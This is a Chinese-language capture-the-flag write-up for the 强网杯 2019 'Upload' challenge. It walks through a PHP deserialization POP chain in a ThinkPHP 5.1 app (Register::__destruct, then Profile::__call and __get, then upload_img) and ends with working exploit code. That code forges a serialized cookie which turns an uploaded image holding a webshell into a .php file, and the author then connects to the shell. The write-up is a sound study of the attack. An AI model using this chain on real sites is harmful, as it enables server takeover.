[强网杯 2019]Upload

题目
没有注入,注册完进来张这个样子

图片.png

过程
1.尝试多种上传之后,发现只有jpg图片里加一句话可以有效上传。上传成功后,在upload文件夹下,文件名变为md5。并且无法再次上传。
upload/adeee0c170ad4ffb110df0cde294aecd/f3ccdd27d2000e3f9255a7e3e2c48800.png
图片.png

2.发现有一个聊天框,感觉可以文件包含。目录扫描,发现/www.tar.gz,下载源码,发现是tp5.1。
同时抓包发现cookie是一串base64,解密后是反序列化。
图片.png

看到Profile这个文件,主要是文件上传
在这里插入图片描述

发现这部分引用了一个新类,并且这个类在该文件没有找到
最终发现在index.php这里


在这里插入图片描述

说明上传之前会检查一遍账号信息
接着看Profile.php


在这里插入图片描述

看到这个函数


在这里插入图片描述

会进行一次检查

看到下面有两个魔术方法

在这里插入图片描述

关键就在怎么触发这两个魔术方法

当对象调用不可访问属性时,就会自动触发get魔法方法
在对象调用不可访问函数时,就会自动触发call魔法方法。

看到register.php 这里


在这里插入图片描述

发现有个__destruct()魔术方法,


在这里插入图片描述

上面这两输出可控,我们可以让checker这个属性为Profile类
然后就会调用Profile类里的index()函数,那么就会触发__call魔术方法


在这里插入图片描述

name是不可访问函数的名字
arguments是参数,为空
而当使用this->index,就是访问一个不可访问的属性,然后触发__get()魔术方法

在这里插入图片描述

而except这个参数我们可以控制,并且他访问了索引name,说明他是一个数组


在这里插入图片描述

接着就是让except变成啥样
我们再回过头来看上传的部分

在这里插入图片描述

只要我们第一次上传文件,那么empty($_FILES)就会为1,那么就会绕过下面那个png检查,直接跳过,进入下一个if

在这里插入图片描述

我们让ext等于1即可进入
filename我们可控,由此
可以通过这个来将我们的webshell复制到filename里去
要触发这个东西我们需要调用
upload_img这个方法
而调用upload_img刚好可以通过上面那两个魔术方法调用
整个POP链大概是这样


在这里插入图片描述

让A类访问一个不可访问的函数,触发__call,在通过call里访问不可访问的属性触发__get,然后调用upload_Img方法
接着要找一个反序列化函数,那让POP链成功执行


在这里插入图片描述

发现index.php里会反序列化cookie,由此通过这个来进行我们的pop链。
exp:

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;//目的是过destruct里的if;
}
class Profile{
    public $checker =0 ;//目的是绕过index类的检查,防止退出程序
    public $filename_tmp="./upload/adeee0c170ad4ffb110df0cde294aecd/f3ccdd27d2000e3f9255a7e3e2c48800.png";
    public $upload_menu;
    public $filename="upload/penson.php";
    public $ext=1;//目的是过if来调用复制webshell
    public $img;
    public $except=array("index"=>"upload_img");//目的是通过__get()魔术方法调用upload_Img函数
}

$a = new Register();
$a->checker = new Profile();//目的是调用POP链
$a->checker->checker=0;//调用pop链防止退出程序

echo base64_encode(serialize($a));
s

生成的cookie用去替换已有的cookie,然后刷新,再去问问原来图片的文件夹


9

可以看到原来的png已经变为了php文件

这时候蚁剑去链接,发现成功链接上

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。